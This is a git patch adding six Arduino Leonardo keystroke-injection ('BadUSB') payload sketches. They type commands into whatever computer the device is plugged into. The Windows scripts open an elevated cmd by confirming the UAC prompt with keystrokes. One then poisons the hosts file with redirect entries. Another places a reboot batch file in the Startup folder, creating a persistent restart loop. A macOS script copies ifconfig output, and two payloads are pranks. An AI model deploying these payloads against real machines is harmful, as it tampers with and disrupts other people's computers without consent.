From 8d8b86d042132bbc1d6f0e179ba1caf3bef2c68f Mon Sep 17 00:00:00 2001 From: Joel Serna Moreno Date: Tue, 22 May 2018 21:20:32 +0200 Subject: [PATCH] + payloads --- .../lock_your_computer_message_prank.ino | 34 ++++++++++++ .../osx_internet_protocol_slurp.ino | 53 +++++++++++++++++++ .../win10_local_dns_poisoning.ino | 38 +++++++++++++ .../win10_restart/win10_restart.ino | 53 +++++++++++++++++++ .../win10_restart_prank.ino | 53 +++++++++++++++++++ .../youtube_roll_updated.ino | 12 +++++ 6 files changed, 243 insertions(+) create mode 100644 atmega32u4_arduino_leonardo/lock_your_computer_message_prank/lock_your_computer_message_prank.ino create mode 100644 atmega32u4_arduino_leonardo/osx_internet_protocol_slurp/osx_internet_protocol_slurp.ino create mode 100644 atmega32u4_arduino_leonardo/win10_local_dns_poisoning/win10_local_dns_poisoning.ino create mode 100644 atmega32u4_arduino_leonardo/win10_restart/win10_restart.ino create mode 100644 atmega32u4_arduino_leonardo/win10_restart_prank/win10_restart_prank.ino create mode 100644 atmega32u4_arduino_leonardo/youtube_roll_updated/youtube_roll_updated.ino diff --git a/atmega32u4_arduino_leonardo/lock_your_computer_message_prank/lock_your_computer_message_prank.ino b/atmega32u4_arduino_leonardo/lock_your_computer_message_prank/lock_your_computer_message_prank.ino new file mode 100644 index 0000000..b6995b8 --- /dev/null +++ b/atmega32u4_arduino_leonardo/lock_your_computer_message_prank/lock_your_computer_message_prank.ino @@ -0,0 +1,34 @@ +#define kbd_es_es +#include + +void setup() { + Keyboard.begin(); +} + +void loop() { + delay(5000); + CommandAtRunBarMSWIN("notepad.exe"); + delay(5000); + Keyboard.println("I will learn to lock my computer."); + delay(2000); + Keyboard.println("I will learn to lock my computer."); + delay(2000); + Keyboard.println("I will learn to lock my computer."); + delay(2000); + Keyboard.println("I will learn to lock my computer."); + delay(2000); + Keyboard.println("I will learn to lock my computer."); + delay(2000); + Keyboard.println("I will learn to lock my computer."); + delay(2000); + Keyboard.println("Please remember to lock your computer when you step away from your desk."); + delay(2000); + Keyboard.println("Thank you."); + delay(2000); + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press(' '); + Keyboard.print("x"); + delay(100); + Keyboard.releaseAll(); + delay(3000); +} diff --git a/atmega32u4_arduino_leonardo/osx_internet_protocol_slurp/osx_internet_protocol_slurp.ino b/atmega32u4_arduino_leonardo/osx_internet_protocol_slurp/osx_internet_protocol_slurp.ino new file mode 100644 index 0000000..e3d479a --- /dev/null +++ b/atmega32u4_arduino_leonardo/osx_internet_protocol_slurp/osx_internet_protocol_slurp.ino @@ -0,0 +1,53 @@ +#include +#define kbd_es_es + +void setup() { + Keyboard.begin(); +} + +void loop() { + delay(5000); + CommandAtRunBarOSX("terminal"); + delay(3000); + Keyboard.println("ifconfig"); + delay(3000); + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('a'); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('c'); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('q'); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press(' '); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.println("textedit"); + delay(2000); + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('a'); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('v'); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('q'); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.println("default_config"); + while(1); +} diff --git a/atmega32u4_arduino_leonardo/win10_local_dns_poisoning/win10_local_dns_poisoning.ino b/atmega32u4_arduino_leonardo/win10_local_dns_poisoning/win10_local_dns_poisoning.ino new file mode 100644 index 0000000..389ca3e --- /dev/null +++ b/atmega32u4_arduino_leonardo/win10_local_dns_poisoning/win10_local_dns_poisoning.ino @@ -0,0 +1,38 @@ +#include +#define kbd_es_es + +void setup() { + Keyboard.begin(); +} + +void loop() { + delay(5000); + Keyboard.press(KEY_LEFT_GUI); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.print("cmd /Q /D /T:7F /F:OFF /V:ON /K"); + delay(2000); + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press(KEY_LEFT_SHIFT); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + delay(3000); + Keyboard.press(KEY_LEFT_ARROW); + delay(100); + Keyboard.releaseAll(); + delay(4000); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + delay(3000); + Keyboard.println("echo. >> C:\\Windows\\System32\\drivers\\etc\\hosts"); + delay(2000); + Keyboard.println("echo 10.0.0.1 url.com >> C:\\Windows\\System32\\drivers\\etc\\hosts"); + delay(2000); + Keyboard.println("echo 10.0.0.1 www.url.com >> C:\\Windows\\System32\\drivers\\etc\\hosts"); + delay(2000); + Keyboard.println("exit"); + while(1); +} diff --git a/atmega32u4_arduino_leonardo/win10_restart/win10_restart.ino b/atmega32u4_arduino_leonardo/win10_restart/win10_restart.ino new file mode 100644 index 0000000..740243b --- /dev/null +++ b/atmega32u4_arduino_leonardo/win10_restart/win10_restart.ino @@ -0,0 +1,53 @@ +#include +#define kbd_es_es + +void setup() { + Keyboard.begin(); +} + +void loop() { + delay(5000); + Keyboard.press(KEY_LEFT_GUI); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.print("cmd"); + delay(2000); + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press(KEY_LEFT_SHIFT); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + delay(3000); + Keyboard.press(KEY_LEFT_ARROW); + delay(100); + Keyboard.releaseAll(); + delay(4000); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + delay(3000); + Keyboard.println("copy con Shutdown.bat"); + delay(3000); + Keyboard.println("@echo off"); + delay(3000); + Keyboard.println("shutdown /r /t 30"); + delay(3000); + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press('z'); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + delay(3000); + Keyboard.println("Shutdown.bat"); + delay(2000); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + delay(3000); + Keyboard.println("exit"); + while(1); +} diff --git a/atmega32u4_arduino_leonardo/win10_restart_prank/win10_restart_prank.ino b/atmega32u4_arduino_leonardo/win10_restart_prank/win10_restart_prank.ino new file mode 100644 index 0000000..c6d290e --- /dev/null +++ b/atmega32u4_arduino_leonardo/win10_restart_prank/win10_restart_prank.ino @@ -0,0 +1,53 @@ +#include +#define kbd_es_es + +void setup() { + Keyboard.begin(); +} + +void loop() { + delay(5000); + Keyboard.press(KEY_LEFT_GUI); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.print("cmd"); + delay(2000); + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press(KEY_LEFT_SHIFT); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + delay(3000); + Keyboard.press(KEY_LEFT_ARROW); + delay(100); + Keyboard.releaseAll(); + delay(4000); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + delay(3000); + Keyboard.println("copy con \"%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Shutdown.bat\""); + delay(3000); + Keyboard.println("@echo off"); + delay(3000); + Keyboard.println("shutdown /r /t 30"); + delay(3000); + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press('z'); + delay(100); + Keyboard.releaseAll(); + delay(2000); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + delay(3000); + Keyboard.println("Shutdown.bat"); + delay(2000); + Keyboard.press(KEY_RETURN); + delay(100); + Keyboard.releaseAll(); + delay(3000); + Keyboard.println("exit"); + while(1); +} diff --git a/atmega32u4_arduino_leonardo/youtube_roll_updated/youtube_roll_updated.ino b/atmega32u4_arduino_leonardo/youtube_roll_updated/youtube_roll_updated.ino new file mode 100644 index 0000000..0a8a3d1 --- /dev/null +++ b/atmega32u4_arduino_leonardo/youtube_roll_updated/youtube_roll_updated.ino @@ -0,0 +1,12 @@ +#include +#define kbd_es_es + +void setup() { + Keyboard.begin(); +} + +void loop() { + delay(5000); + CommandAtRunBarMSWIN("https://www.youtube.com/watch?v=dQw4w9WgXcQ"); + delay(5000); +}